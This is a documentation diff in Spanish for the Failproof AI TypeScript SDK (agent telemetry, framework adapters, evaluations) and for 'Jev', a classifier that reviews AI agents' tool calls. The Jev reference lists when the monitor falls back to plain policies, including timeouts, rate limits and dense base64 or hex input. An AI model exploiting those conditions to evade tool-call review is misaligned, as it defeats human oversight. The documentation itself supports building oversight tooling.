+Idéntico al SDK de Python: crea una clave `events:add` en **Admin → Keys**, luego [conecta el daemon](/es/start/setup#connect-a-machine-to-cloud) en la máquina del agente. El SDK escribe en disco; el daemon envía.
+
+## Configuración
+
+```ts
+failproofai.configure({
+ environment: "production",
+ flushInterval: 0.5,
+ baseDir: undefined,
+});
+```
+
+| Opción | Qué hace |
+| --- | --- |
+| `environment` | La etiqueta en cada evento — `production`, `staging`, `prod-eu`. El valor por defecto es `dev`. |
+| `flushInterval` | Con qué frecuencia el temporizador escribe en disco, en segundos. El valor por defecto es `0.5`. |
+| `baseDir` | Dónde escribir. Por defecto usa el spool del daemon, que es lo que quieres a menos que sepas lo contrario. |
+
+Nada se aplica a menos que todo sea válido, por lo que una llamada rechazada deja el SDK exactamente como estaba en lugar de con un nuevo `baseDir` y el intervalo anterior.
+
+Configura mediante variables de entorno:
+
+| Variable | Qué hace |
+| --- | --- |
+| `AGENTEYE_ENVIRONMENT` | Establece `environment` sin cambiar el código. Una opción de `configure()` tiene precedencia sobre esta. |
+| `FAILPROOFAI_HOME` | Mueve la raíz de Failproof AI que contiene el spool. |
+| `FAILPROOFAI_SDK_LOG_LEVEL` | `debug`, `info`, `warn` (por defecto), `error`, `silent`. |
+| `FAILPROOFAI_SDK_STRICT` | `1` hace que los errores de instrumentación lancen excepciones en lugar de registrarse. |
+| `FAILPROOFAI_SDK_STRICT_INTEGRATIONS` | `1` hace que un problema de compatibilidad con el framework lance una excepción en lugar de advertir y continuar. |
+
+
+ **Sin comas en `environment`.** La ingesta divide ese campo por comas para construir sus filtros, y omite cualquier evento cuya etiqueta contenga una — así que toda una ejecución desaparece silenciosamente. Escribe `prod-eu`, no `prod,eu`.
+
+ `configure({ environment: "prod,eu" })` lanza una excepción para que lo descubras inmediatamente. `AGENTEYE_ENVIRONMENT` no puede lanzar — nadie te está llamando — así que advierte una vez y vuelve a `dev`.
+
+
+Redirige las líneas de log propias del SDK a tu logger con `failproofai.setLogger({ debug, info, warn, error })`.
+
+## Apagado
+
+Los eventos en buffer se vacían con `process.on("exit")`.
+
+Un proceso terminado por una señal nunca llega a eso, y el comportamiento por defecto de Node para `SIGTERM` es terminar sin ejecutar los manejadores de salida — así que un agente en contenedor pierde lo que el último intervalo no había escrito.
+
+
+ **Este SDK no instalará un manejador de señales por ti.** Registrar uno cambia el comportamiento de tu proceso: un listener suprime la terminación por defecto de Node, por lo que una biblioteca que añadiera uno detendría silenciosamente el funcionamiento de Ctrl-C. Añade el tuyo propio:
+
+ ```ts
+ for (const signal of ["SIGINT", "SIGTERM"] as const) {
+ process.once(signal, () => {
+ failproofai.flushSync();
+ process.exit(0);
+ });
+ }
+ ```
+
+
+Un script de vida corta o un manejador serverless debería `await failproofai.flush()` antes de retornar — el intervalo por sí solo no garantiza la entrega.
+
+## Identidad
+
+Cada evento pertenece a una sesión y un agente. **Los alcances completan ambos**, por lo que raramente necesitas pasarlos:
+
+```ts
+await failproofai.session(async () => {
+ await failproofai.agent("planner", async () => {
+ failproofai.event.toolUse({ toolName: "search", toolCallId: "c1" });
+ });
+});
+```
+
+Pasar `sessionId` o `agentId` explícitamente sigue funcionando y tiene precedencia. Sin ninguno vinculado ni pasado, la llamada lanza una excepción en lugar de emitir un evento que Cloud descartaría silenciosamente.
+
+
+ La identidad viaja en `AsyncLocalStorage`. Sigue `await`, `.then()`, temporizadores y cualquier callback creado dentro del alcance. **No** sigue un callback almacenado durante una ejecución e invocado durante otra, ni trabajo transferido a través de un límite `worker_threads` — envuelve esos con `failproofai.propagate()` o sus eventos quedarán sin adjuntar.
+
+
+### Alcances
+
+| Alcance | Emite | Retorna |
+| --- | --- | --- |
+| `session(body)` | nada — solo identidad | lo que retorne `body` |
+| `agent(id, options?, body)` | `agent_start`, luego `agent_end` | lo que retorne `body` |
+| `toolCall(name, options?, body)` | `tool_use`, luego `tool_result` | lo que retorne `body` |
+
+Un cuerpo síncrono permanece síncrono: `agent("x", () => 1)` retorna `1`, no una promesa.
+
+`toolCall` registra el valor resuelto del cuerpo como la `output` de la herramienta, a menos que asignes `call.output` tú mismo.
+
+
+
+| Qué ocurrió | Eventos | `outcome` |
+| --- | --- | --- |
+| el bloque retornó | `agent_end` | `"success"`, o tu `outcome` |
+| el bloque lanzó | `error`, luego `agent_end` | `"failed"` |
+| un `AbortError` | solo `agent_end` | `"cancelled"` |
+
+El error siempre se relanza.
+
+Un fallo de herramienta se registra en la hoja — `tool_result` con un string `error` — y **no** emite un evento `error` a nivel de ejecución. El que captura el bucle del agente no es un fallo de ejecución, y el que se propaga se reporta exactamente una vez, por el `agent()` que lo envuelve.
+
+
+
+
+
+Cuando el trabajo no es una sola función — un alcance abierto en un constructor y cerrado en un teardown, o uno que atraviesa flujos de control existentes:
+
+```ts
+{
+ using span = failproofai.agent.open("planner", { goal });
+ using call = failproofai.toolCall.open("search", { input: { q } });
+ call.call.output = await search(q);
+} // tool_result, then agent_end
+```
+
+Ambas formas emiten eventos idénticos byte a byte. Prefiere la forma con callback: se ejecuta dentro de `AsyncLocalStorage.run()`, así que no hay nada que deshacer y toda la clase de errores de "abierto aquí, cerrado allá" es inalcanzable.
+
+Un bloque `using` que captura su propio fallo lo reporta con `span.fail(error)` — el disposer no tiene su propio canal de excepciones.
+
+
+
+## Catálogo de eventos
+
+Los mismos quince métodos que el SDK de Python, en camelCase. La mayoría vienen en **pares** — llamas al abridor, luego al cerrador, y el SDK mide el intervalo.
+
+| | Abre | Cierra |
+| --- | --- | --- |
+| **Agentes** | `agentStart` | `agentEnd` |
+| | `agentPause` | `agentResume` |
+| **Modelos** | `modelRequest` | `modelResponse` |
+| **Herramientas** | `toolUse` | `toolResult` |
+| **Hooks** | `hookTriggered` | `hookCompleted` |
+| **Humanos** | `humanWait` | `humanInput` |
+
+Tres son independientes: `error`, `humanPause`, `humanInterrupt`.
+
+
+
+Cada método también acepta `sessionId` y `agentId`, que los alcances rellenan por ti. Cualquier campo omitido se descarta en lugar de enviarse como JSON `null`.
+
+| Método | Requerido | Opcional |
+| --- | --- | --- |
+| `agentStart` | — | `goal`, `parentId` |
+| `agentEnd` | — | `outcome`, `summary` |
+| `agentPause` | `pauseId` | `reason`, `userId` |
+| `agentResume` | `pauseId` | `reason`, `userId` |
+| `modelRequest` | — | `model`, `messages`, `system`, `tools`, `requestId` |
+| `modelResponse` | — | `model`, `stopReason`, `inputTokens`, `outputTokens`, `content`, `role`, `requestId` |
+| `toolUse` | `toolName`, `toolCallId` | `input` |
+| `toolResult` | `toolName`, `toolCallId` | `output`, `error` |
+| `hookTriggered` | `hookName`, `hookId` | `triggerEvent`, `input` |
+| `hookCompleted` | `hookName`, `hookId` | `outcome`, `output`, `error` |
+| `error` | `errorType`, `message` | `traceback` |
+| `humanWait` | `inputId` | `prompt`, `options`, `reason` |
+| `humanInput` | `inputId` | `response` |
+| `humanPause` | — | `reason`, `userId` |
+| `humanInterrupt` | — | `reason`, `userId`, `atStep` |
+
+Cualquier otra clave que añadas se convierte en un campo de payload personalizado. Pon en el espacio de nombres `fw_*` todo lo específico de un framework; un nombre que colisione con un campo declarado será rechazado en lugar de sobrescribir silenciosamente una columna promovida.
+
+
+
+
+ **`duration_ms` se calcula, no se acepta.** Los cuatro métodos de cierre miden el intervalo desde su abridor y rechazan un `duration_ms` proporcionado por el llamador — una duración reportada no puede ser falsificada.
+
+ Los pares se emparejan por **sesión** e id, nunca por agente. Una herramienta abierta bajo `planner` y cerrada bajo `worker` sigue emparejándose, que es exactamente lo que hacen las ejecuciones multi-agente anidadas.
+
+
+## Adaptadores de framework
+
+```ts
+await failproofai.instrument(); // whatever it can find
+await failproofai.instrument("langchain"); // exactly one
+failproofai.uninstrument(); // put everything back
+```
+
+| Framework | Compatible | Cómo se adjunta |
+| --- | --- | --- |
+| **LangChain.js / LangGraph.js** | `@langchain/core` 0.3 – 1.x, LangGraph.js 0.4 – 1.x | `CallbackManager.configure`, así cada `invoke`/`stream`/`batch` queda cubierto sin pasar `callbacks:` en ningún lado — o pasa `langchainHandler()` tú mismo sin parchear nada. |
+| **Vercel AI SDK** | `ai` 4 – 7 | `telemetry()` en el punto de llamada, o `instrument("ai")` para todo el proceso con `ai` 7 (en 4–6 es opt-in — ver más abajo). |
+| **Mastra** | `@mastra/core` 0.20 – 1.x | `Agent.generate`/`.stream`, el modelo del agente y la resolución de herramientas, y el motor de ejecución de workflow/paso. |
+| **LlamaIndex.TS** | `llamaindex` 0.11.4 – 0.x | `Settings.callbackManager` (suscrito) más `AgentWorkflow.runStream`, para ejecuciones de workflow y sus pasos. |
+
+Cada rango se prueba contra versiones reales del framework, en ambos extremos, como módulo ES y como CommonJS, en cada ejecución de CI.
+
+El mapeo es el del SDK de Python, así que el mismo programa dibuja el mismo árbol en cualquiera de los dos lenguajes. Una construcción es un **agent** solo si tiene un bucle de decisión LLM propio — una ejecución de grafo o cadena, una llamada `generateText`/`streamText` del AI SDK, un agente Mastra, una ejecución de agente LlamaIndex. Un nodo de LangGraph o un paso de workflow es un **hook** (`hook_triggered`/`hook_completed`), nunca un agente anidado. Las llamadas al modelo son pares `model_request`/`model_response` con conteos de tokens; las llamadas a herramientas llevan el propio id de llamada del modelo. Un fallo se registra una sola vez, en el evento donde ocurrió.
+
+Un adaptador que falla al instalarse se registra y se omite; los demás se instalan igualmente, porque un LlamaIndex roto no debería costarte LangGraph.
+
+
+ `instrument()` sin argumento detecta un framework por si **resuelve**, no por si ya está importado — Node no expone un equivalente de `sys.modules` de Python para módulos ES. Un framework que tienes instalado pero no usas será importado y parcheado. Indica el que quieres si eso importa.
+
+
+
+ La mayoría de estos frameworks incluyen una compilación de módulo ES y una CommonJS, que Node carga como dos copias no relacionadas. Los adaptadores parchean la copia que carga tu aplicación (y también la copia CommonJS si algo ya la ha cargado con `require`), así que ambos sistemas de módulos funcionan. Un framework **empaquetado en tu propia salida** por esbuild o webpack queda fuera de alcance — usa los helpers de punto de llamada allí: `langchainHandler()`, `telemetry()`, `wrapTool()`.
+
+
+### LangChain sin parchear
+
+```ts
+import { langchainHandler } from "@failproofai/sdk/langchain";
+await graph.invoke(input, { callbacks: [langchainHandler()] });
+```
+
+El manejador funciona con o sin `instrument()` y nunca registra duplicados. `instrument("langchain")` acepta `sessionId`, `captureContent`, `includeChains`, `graphCallbacks` y `captureLimit`, igual que el adaptador de Python; `metadata: { failproofai_sdk_session_id }` en una llamada elige la sesión para esa invocación.
+
+### Vercel AI SDK
+
+El AI SDK exporta funciones simples desde un módulo ES, y un espacio de nombres de módulo ES es inmutable por especificación — no hay dónde parchear. Usa los puntos de extensión que el propio SDK documenta:
+
+```ts
+import { telemetry } from "@failproofai/sdk/ai";
+
+const { text } = await generateText({
+ model,
+ prompt,
+ experimental_telemetry: telemetry({ functionId: "answer-question" }),
+ // on ai 7, `telemetry: telemetry({ … })` — the same object, the new name
+});
+```
+
+Esa es la integración completa: un span de agente, un par model request/response por paso con conteos de tokens, y cada llamada a herramienta. Un único punto de llamada funciona en cada versión mayor — `ai` 4–6 leen el tracer que lleva, `ai` 7 la integración de telemetría.
+
+`instrument("ai")` hace lo mismo a nivel de proceso **con `ai` 7**: cada llamada, a través de la lista global de integraciones de telemetría del AI SDK, que es aditiva y no interfiere con nadie más.
+
+**Con `ai` 4–6, `instrument("ai")` no registra nada por sí mismo, y emite una advertencia indicándolo.** El único hook global que tienen esas versiones mayores es el proveedor de tracer global de OpenTelemetry — un único slot que OpenTelemetry se niega a ceder una vez tomado. Registrar el nuestro rechazaría silenciosamente tu propio `NodeSDK.start()` posterior en el arranque y enviaría tus spans de http/base de datos a un tracer que no exporta nada. Usa `telemetry()` en el punto de llamada o `wrapModel` allí. Si el proceso no ejecuta OpenTelemetry propio, actívalo con `instrument("ai", { registerGlobalTracer: true })`: entonces registra cada llamada que pasa `experimental_telemetry: { isEnabled: true }`, y solo toma el slot si aún está libre. `registerGlobalTracer: false` mantiene el comportamiento por defecto y silencia la advertencia.
+
+Si prefieres envolver el modelo una sola vez, `wrapModel` solo ve las llamadas al modelo, porque las llamadas a herramientas ocurren por encima de la capa del modelo. Un modelo envuelto llamado sin nada alrededor se registra como su propia ejecución. Una llamada en streaming se cierra como sea que el stream termine — `stop_reason: "cancelled"` cuando el consumidor lo cancela, `"error"` con el error cuando falla a mitad:
+
+```ts
+import { wrapModel } from "@failproofai/sdk/ai";
+const model = await wrapModel(openai("gpt-4o"));
+```
+
+Usar ambos está bien: el middleware detecta que la llamada ya está siendo registrada y cede, así que cada llamada se registra una vez.
+
+`functionId` nombra el span del agente. Mantenlo de baja cardinalidad — va a `agent_id`, la faceta principal del panel.
+
+### Next.js
+
+`next build` empaqueta las dependencias de tu servidor por defecto, y un framework empaquetado en la compilación es una copia a la que `instrument()` no puede llegar. Envuelve la configuración una vez y llama a `instrument()` desde el hook de arranque de Next:
+
+```ts
+// next.config.ts
+import { withFailproofai } from "@failproofai/sdk/next";
+export default withFailproofai({ /* your config */ });
+```
+
+```ts
+// instrumentation.ts
+export async function register() {
+ if (process.env.NEXT_RUNTIME !== "nodejs") return;
+ const failproofai = await import("@failproofai/sdk");
+ await failproofai.instrument();
+}
+```
+
+`withFailproofai` añade LangChain, Mastra, LlamaIndex y el propio SDK a `serverExternalPackages`, manteniendo tu lista. Sin él, `instrument()` advierte una vez por framework al que no puede llegar en lugar de fallar silenciosamente; si listas los paquetes tú mismo, establece `FAILPROOFAI_NEXT_EXTERNALS=1`. El Vercel AI SDK y los helpers de punto de llamada funcionan de cualquier manera. Una ruta Edge recibe una compilación sin operación: importar el SDK es seguro y no registra nada.
+
+### Conteos de tokens en llamadas en streaming
+
+Las APIs compatibles con OpenAI solo reportan el uso en un stream cuando el cliente lo solicita. LangChain y el Vercel AI SDK lo solicitan; para LlamaIndex pasa `additionalChatOptions: { stream_options: { include_usage: true } }` a su LLM `OpenAI`, y para Mastra construye el modelo con el uso habilitado (por ejemplo `createOpenAICompatible({ includeUsage: true })`). De lo contrario, las llamadas de modelo en streaming no llevan conteos de tokens.
+
+### Runtimes
+
+Node ≥ 20.9, Bun y Deno — cada framework, como módulo ES y como CommonJS, se prueba en cada uno frente al trace de Node. El SDK se ejecuta junto al daemon `failproofaid`, que envía lo que escribe.
+
+## Tu propio agente — sin framework
+
+Para un bucle de agente que escribiste tú mismo, o un framework sin adaptador. Emites los eventos con la misma API que usan los adaptadores internamente, así que el trace tiene la misma forma y calidad.
+
+No necesitas saber cómo está organizado el agente. Todo agente construido a mano ya tiene tres lugares, sin importar cómo se llamen sus funciones, y esos tres son la integración completa:
+
+| Dónde | Qué añadir | Emite |
+| --- | --- | --- |
+| Donde **una ejecución** empieza y termina | `failproofai.agent("name", { goal }, async () => …)` | `agent_start` / `agent_end` |
+| La **única función que llama al modelo** | `event.modelRequest` antes, `event.modelResponse` después — ambas mitades, incluso en caso de fallo | un par por turno de modelo |
+| La **única función que ejecuta herramientas** | `failproofai.toolCall(name, { toolCallId, input }, () => run())` | `tool_use` / `tool_result` |
+
+```ts
+async function callModel(messages) {
+ const requestId = randomUUID();
+ const started = Date.now();
+ failproofai.event.modelRequest({ model: MODEL, requestId, messages });
+ try {
+ const reply = await client.chat.completions.create({ model: MODEL, messages, tools });
+ failproofai.event.modelResponse({
+ model: reply.model, requestId, stopReason: reply.choices[0].finish_reason,
+ inputTokens: reply.usage?.prompt_tokens, outputTokens: reply.usage?.completion_tokens,
+ duration_ms: Date.now() - started,
+ });
+ return reply.choices[0].message;
+ } catch (error) {
+ failproofai.event.modelResponse({ model: MODEL, requestId, stopReason: "error",
+ error: String(error), duration_ms: Date.now() - started });
+ throw error;
+ }
+}
+
+async function dispatch(call) {
+ const input = JSON.parse(call.function.arguments);
+ return failproofai.toolCall(call.function.name, { toolCallId: call.id, input },
+ () => runTool(call.function.name, input));
+}
+
+await failproofai.agent("inventory", { goal: question }, async () => {
+ for (;;) {
+ const message = await callModel(messages);
+ if (!message.tool_calls?.length) return message.content;
+ for (const call of message.tool_calls) await dispatch(call);
+ }
+});
+```
+
+La identidad es ambiental: todo lo que está dentro de `agent()` aterriza en la sesión de esa ejecución sin necesitar un id, y nada más en el programa cambia — incluido lo que el agente ya escribe en su propia base de datos.
+
+- **Un servicio o un worker:** pasa tu propio id de solicitud o trabajo como `sessionId`, para que una sesión en el panel y el registro en tus propios logs o base de datos sean el mismo string.
+- **Sub-agentes:** anida llamadas a `agent()`. El interno se une a la sesión con el externo como su `parent_id`.
+- **Emite los pares.** Un `modelRequest` sin `modelResponse` es un span que el panel muestra como ejecutándose para siempre — de ahí el `catch`.
+
+[`sdk/typescript/examples/research-agent.ts`](https://github.com/FailproofAI/failproofai/blob/main/sdk/typescript/examples/research-agent.ts) en el repositorio es la versión completa y ejecutable: un bucle real de herramientas de OpenAI instrumentado exactamente así, ejecutado en CI en cada cambio como módulo ES y como CommonJS.
+
+## Evaluaciones
+
+```ts
+import { Evaluator, EvalResult, Score } from "@failproofai/sdk/evaluator";
+
+export const app = new Evaluator({ name: "my-evals", version: "1" });
+
+app.eval("tool_success_rate", { version: "1" }, (session) => {
+ const results = session.eventsOfType("tool_result");
+ const failures = results.filter((event) => event.payload.error != null).length;
+ return new EvalResult({
+ score: new Score(results.length === 0 ? 1 : 1 - failures / results.length),
+ reasoning: `${failures} of ${results.length} tool calls failed`,
+ });
+});
+```
+
+```bash
+FAILPROOFAI_EVALUATOR_URL=… FAILPROOFAI_EVALUATOR_TOKEN=… \
+ npx failproofai-evaluator ./my-evals.js
+```
+
+Consulta la [referencia del Evaluator SDK](/es/reference/evaluator-sdk) para el protocolo, la configuración del worker y los tipos de resultado.
+
+
+ **Una evaluación debe ceder el control.** Una función síncrona que nunca retorna bloquea el único hilo que tiene Node, y ningún timeout puede dispararse mientras lo hace. Escribe evaluaciones `async`.
+
+
+## Lo que no hará a tu proceso
+
+| | |
+| --- | --- |
+| **Bloquear tu bucle de agente** | Los eventos van a una cola en memoria; un temporizador los escribe. El temporizador está con `unref`, así que importar este paquete nunca impide que un script salga. |
+| **Crecer sin límite** | La cola está limitada por conteo *y* por bytes medidos. Superando cualquiera de los dos, los eventos más antiguos se descartan y una advertencia lo indica — una interrupción de telemetría no debe convertirse en un OOM kill. |
+| **Tumbar el proceso** | Un evento que no se puede codificar se descarta solo, no el lote que lo rodea. Un getter que lanza, una referencia circular, un `BigInt`, un sustituto solitario: cada uno se maneja en lugar de propagarse. |
+| **Dejar un lote a medio escribir** | El contenido se sincroniza con `fsync` antes de un renombrado atómico, el directorio se sincroniza con `fsync` después, y una escritura fallida limpia su archivo temporal. |
+| **Dejar las transcripciones legibles** | Los lotes son `0600` dentro de un directorio `0700`. Llevan objetivos, prompts, argumentos de herramientas y salidas de herramientas. |
+| **Enviar credenciales** | Las claves API, tokens, JWTs, cabeceras bearer y asignaciones con forma de secreto se redactan antes de que los bytes lleguen al disco. El daemon redacta de nuevo antes de subir. |
\ No newline at end of file
diff --git a/docs/es/reference/jev-cloud.mdx b/docs/es/reference/jev-cloud.mdx
new file mode 100644
index 000000000..00ab28572
--- /dev/null
+++ b/docs/es/reference/jev-cloud.mdx
@@ -0,0 +1,136 @@
+---
+title: "Jev a través de FailproofAI Cloud"
+description: "Claves de máquina en la nube, estado de conexión, límites y comportamiento ante fallos para la revisión de políticas Jev en tiempo real."
+icon: "cloud"
+---
+
+Esta es la referencia de la ruta Cloud para las [políticas Jev](/es/policies/jev). Jev, el clasificador de TypeSafe, lee cada llamada a herramienta comparándola con lo que realmente solicitaste y responde junto con tus políticas, nunca en lugar de ellas. A través de **FailproofAI Cloud**, una máquina conectada utiliza Jev con la misma clave con la que ya se conecta: sin cuenta de TypeSafe, sin segunda clave, sin ningún endpoint que configurar. Cada llamada se carga al plan vigente de tu organización.
+
+Todo lo que hace Jev no cambia respecto a la [configuración con clave propia](/es/reference/jev-providers): las políticas estrictas siguen siendo definitivas, la denegación de una política revisable solo se levanta cuando Jev fue consultado exactamente sobre esa preocupación, y cualquier fallo cae de regreso al resultado regex para esa llamada.
+
+
+Requiere **failproofai 1.0.8-beta.0** o posterior. La versión 1.0.7 no tiene Jev, aunque aparezca por encima de las versiones 1.0.7 beta en el orden de clasificación. Sin una configuración de Jev nada cambia: los hooks ejecutan las políticas regex exactamente como siempre.
+
+
+## Antes de comenzar
+
+Instala Failproof AI en la máquina donde se ejecuta tu agente y conecta sus hooks a un [harness compatible](/es/reference/harnesses). Si estás comenzando desde cero, sigue el [inicio rápido](/es/start/quickstart) hasta la instalación de los hooks. Verifica el CLI instalado con `failproofai --version`; actualízalo si es anterior a Jev. También necesitas acceso a la página **Administration → Keys** de tu organización para crear una clave de máquina.
+
+Jev revisa llamadas a herramientas con nombre en la puerta `PreToolUse` o `PermissionRequest`. No revisa todos los eventos de una sesión. Para que Jev levante una denegación de política, necesitas una política instalada marcada como [revisable](/es/policies/authority); todas las demás denegaciones siguen siendo definitivas.
+
+## Activarlo
+
+1. **Crea una clave con Jev.** En el panel de FailproofAI Cloud, abre **Administration → Keys → Create key** y elige el preset **machine**. Otorga los tres permisos que necesita una máquina: `events:add` (enviar actividad), `policies:pull` (recibir políticas) y `jev:evaluate` (Jev, cargado al plan de tu organización). Una clave no puede tener `jev:evaluate` sin los otros dos.
+2. **Conecta la máquina** con esa clave. Lee su secreto de un solo uso en un prompt y luego ejecuta el comando de configuración completo:
+
+ ```bash
+ read -rs FAILPROOFAI_CLOUD_TOKEN && export FAILPROOFAI_CLOUD_TOKEN
+ failproofai config
+ ```
+
+ `failproofai config` instala el daemon, conecta los hooks para los CLIs de agentes que encuentra y conecta la máquina. La variable de entorno mantiene la clave fuera de los argumentos del comando y del historial de tu shell. Si tu harness fue instalado después, [conéctalo explícitamente](/es/start/quickstart).
+
+ Si tu organización ejecuta su propio FailproofAI Cloud en lugar del servicio alojado, añade su dirección: `--url https://` (o exporta `FAILPROOFAI_CLOUD_URL`). Sin esto, la clave se verifica contra el servicio alojado y la conexión falla. Si el certificado de ese host proviene de una CA privada, instala la CA en el almacén de confianza del sistema de la máquina (por ejemplo, con `update-ca-certificates`), no solo en `NODE_EXTRA_CA_CERTS`: el daemon que envía eventos y obtiene políticas lee el almacén del sistema. Consulta [Solución de problemas](/es/reference/troubleshooting).
+
+Eso es todo. La conexión almacena la clave y, cuando la máquina **no** tiene aún una configuración de Jev, activa Jev a través de FailproofAI Cloud en modo **observe**: una vez que un pack le proporcione checks, Jev es consultado sobre cada llamada a herramienta en la puerta y sus veredictos se registran, pero el resultado que se aplica es el de tus políticas. La salida lo indica:
+
+```text
+ Jev on through FailproofAI Cloud, in observe mode: logged, not enforced (~/.failproofai/jev.json).
+```
+
+Jev aún no consulta nada hasta que un pack le proporcione checks. Failproof AI no incluye ninguno; mientras ningún pack instalado declare alguno, la salida añade una línea indicándolo, y `failproofai jev status` lo repite. Instálalos con:
+
+```bash
+failproofai policies add FailproofAI/jev-policies
+```
+
+**Con `--no-transcripts`, la conexión no activa Jev.** Jev envía cada llamada a herramienta revisada y el prompt reciente a FailproofAI Cloud, lo cual supone más de lo que pide una conexión que solo envía decisiones. La clave se sigue almacenando, y la salida indica que Jev está disponible y cómo activarlo:
+
+```bash
+failproofai jev setup --provider failproofai
+```
+
+Tampoco **desactiva** Jev. Si el `jev.json` de la máquina ya ejecuta Jev a través de FailproofAI Cloud, se deja como está, y la salida indica que Jev sigue enviando cada llamada a herramienta revisada y el prompt reciente, y que `failproofai jev setup --mode off` lo desactiva.
+
+
+La conexión **nunca sobreescribe** un `~/.failproofai/jev.json` existente. Si ya usas tu propio endpoint de Jev, sigue utilizándose, y la salida indica que el archivo se dejó tal como estaba configurado — y, cuando ese archivo deja Jev desactivado (rechazado o desconectado), lo indica y explica cómo solucionarlo. Para cambiar esa máquina a FailproofAI Cloud, ejecuta `failproofai jev setup --provider failproofai`.
+
+
+## Observe, enforce o off
+
+Empieza en observe, observa lo que Jev habría hecho en la página de políticas y luego deja que actúe:
+
+```bash
+failproofai jev setup --mode enforce # Los veredictos de Jev se aplican: puede levantar una denegación revisable y añadir la suya propia
+failproofai jev setup --mode observe # Se consulta a Jev y se registra; el resultado de tus políticas es el que se aplica
+failproofai jev setup --mode off # Mantener la configuración, dejar de consultar a Jev
+```
+
+El mismo interruptor está en el panel local: **Settings → Jev** tiene un interruptor de activación/desactivación y observe/enforce. Reescribe el modo y nada más. Los hooks leen la configuración en cada llamada a herramienta, por lo que un cambio se aplica desde la siguiente, sin necesidad de reiniciar.
+
+## Verificar qué está haciendo
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+`status` muestra el proveedor como **FailproofAI Cloud**, el host de Cloud al que se conectó la máquina, el modo y el origen de la clave como **FailproofAI Cloud connection**, nunca la clave en sí. Cuando hay un `jev.json` de FailproofAI Cloud en uso pero Jev no puede ejecutarse, explica el motivo:
+
+| `status` indica | `status --json` | Significado |
+| --- | --- | --- |
+| **off — no Jev key is stored for this machine's FailproofAI Cloud connection** | `key-lacks-jev` | La máquina está conectada, pero no hay clave Jev almacenada para ella: la clave no tiene `jev:evaluate`, o la conexión no pudo confirmarlo. Ejecuta `failproofai config` de nuevo con la clave en `FAILPROOFAI_CLOUD_TOKEN`; si le falta el permiso, usa una clave **machine**. |
+| **off — this machine is not connected to FailproofAI Cloud** | `not-connected` | No hay conexión de FailproofAI Cloud en esta máquina a la que pertenezca la clave Jev. |
+
+Tras `failproofai config --disconnect` ya no hay un `jev.json` de FailproofAI Cloud (a menos que estuviera desactivado, que se conserva), por lo que `status` simplemente informa Jev como desactivado. `status --json` contiene los mismos datos (`provider: "failproofai"`, `keySource: "cloud"`, `cloudConnected`, `keyCarriesJev`), también cuando la configuración está ausente o fue rechazada. `permissions` siempre corresponde al `jev.json`; un rechazo relacionado con `credentials.json` añade `credentialsPermissions`, y `fix` cuando un solo comando lo soluciona. `test` envía una solicitud real y reporta su latencia y la versión de Jev que respondió. Sale con código 1, y lo indica en su título, cuando la respuesta llega después del timeout del hook (los hooks registrarían `timeout`) o responde incorrectamente a su pregunta de verificación.
+
+El panel **Settings → Jev** del panel también muestra la **FailproofAI Cloud connection**: a qué organización reporta la máquina y si su clave incluye Jev. Se lee desde los archivos propios de la máquina, sin ninguna llamada de red.
+
+## Verificar una llamada real
+
+Inicia una nueva sesión en el agente con hooks. Pídele que use su herramienta de lectura de archivos en `README.md` e informe el título. Confirma que la sesión contiene esa llamada a herramienta y luego ejecuta `failproofai jev status` de nuevo: el recuento de llamadas evaluadas recientemente debería aumentar. Abre **Policies → Activity** en el [panel local](/es/reference/local-dashboard#review-policy-activity) para inspeccionar el veredicto de Jev y el modo de esa llamada. En Cloud, la página **Policies** de la organización muestra los resultados de Jev para la actividad entregada. En modo observe, el veredicto se registra como **would-have** y el resultado de la política sigue decidiendo la llamada. Una aprobación aparece solo cuando una política revisable coincidió y Jev levantó sus checks con nombre.
+
+## Qué llega a la página de políticas
+
+La máquina ya envía su actividad de hooks a FailproofAI Cloud (`events:add`). Con Jev activado, el registro de cada llamada en la puerta también indica qué evaluador se ejecutó, qué decidió Jev, qué políticas levantó, por qué cayó al resultado de respaldo cuando lo hizo, su latencia y el modelo que respondió — decisiones, códigos y nombres, nunca el comando ni tu prompt. En la página **Policies** de tu organización:
+
+- una llamada decidida por el propio veredicto de Jev (modo enforce) se atribuye a **Jev**, y cuando el check decisivo provino de un pack, el registro también nombra ese pack y su versión;
+- en modo observe, la denegación o advertencia de Jev aparece como **would-have**, junto a los rollouts que estás observando;
+- las políticas que Jev levantó, o habría levantado en modo observe, se contabilizan por política.
+
+## Cuando Jev no puede responder
+
+Cada uno de estos casos cae de regreso al resultado de tus políticas para esa llamada, y se registra con su motivo:
+
+| Motivo | Causa |
+| --- | --- |
+| `out-of-credits` | Tu organización ha agotado la asignación de su plan. |
+| `http-401`, `http-403` | La clave fue revocada o no tiene `jev:evaluate`. Reconéctate con una clave que sí lo tenga. |
+| `http-429` | FailproofAI Cloud está limitando la tasa de solicitudes de Jev para tu organización. Hasta que el tiempo de espera solicitado haya pasado (`Retry-After`, como máximo 60 segundos), la máquina no envía nada y cada llamada cae inmediatamente al resultado de respaldo. Las llamadas retenidas de esta manera se registran como `http-429`, o como `rate-limited` cuando el límite de tasa propio de la máquina las retiene primero. |
+| `http-429` (límite diario) | Tu organización ha agotado sus llamadas diarias a Jev: **10.000 por día UTC**, a menos que quien opera tu FailproofAI Cloud haya establecido otro límite. Cada llamada cae al resultado de respaldo hasta que el contador se restablece a las 00:00 UTC; la máquina vuelve a intentarlo como máximo una vez por minuto, por lo que detecta el restablecimiento en menos de un minuto. `failproofai jev test` indica "Daily Jev limit for this org reached; resets at 00:00 UTC." |
+| `http-422` | Jev rechazó la solicitud de esta llamada, generalmente porque la llamada a herramienta contenía texto denso (base64, hex, código minificado) que supera el presupuesto de tokens de Jev. Esa llamada siempre cae al resultado de respaldo; no es una interrupción del servicio. |
+| `http-502` | Jev no está disponible en este momento. |
+| `http-503` | Este Cloud no puede servir Jev para tu organización: sin gateway de modelo, una organización aún no aprovisionada o el gateway está caído. Contacta con tu administrador; los hooks vuelven a intentarlo como máximo una vez por minuto. |
+| `http-404` | Este FailproofAI Cloud aún no sirve Jev. |
+| `timeout` | Sin respuesta dentro de `timeoutMs` (valor predeterminado: 3000). |
+| `model-mismatch` | Respondió una versión de Jev distinta a la 1.13. |
+
+## Dónde vive la clave y adónde va
+
+- La clave se almacena una sola vez, en `~/.failproofai/credentials.json` (`0600`, en un directorio solo para el propietario), junto a las demás credenciales de FailproofAI Cloud. `jev.json` no contiene ninguna clave para esta ruta; si se escribe una allí, la configuración queda inválida.
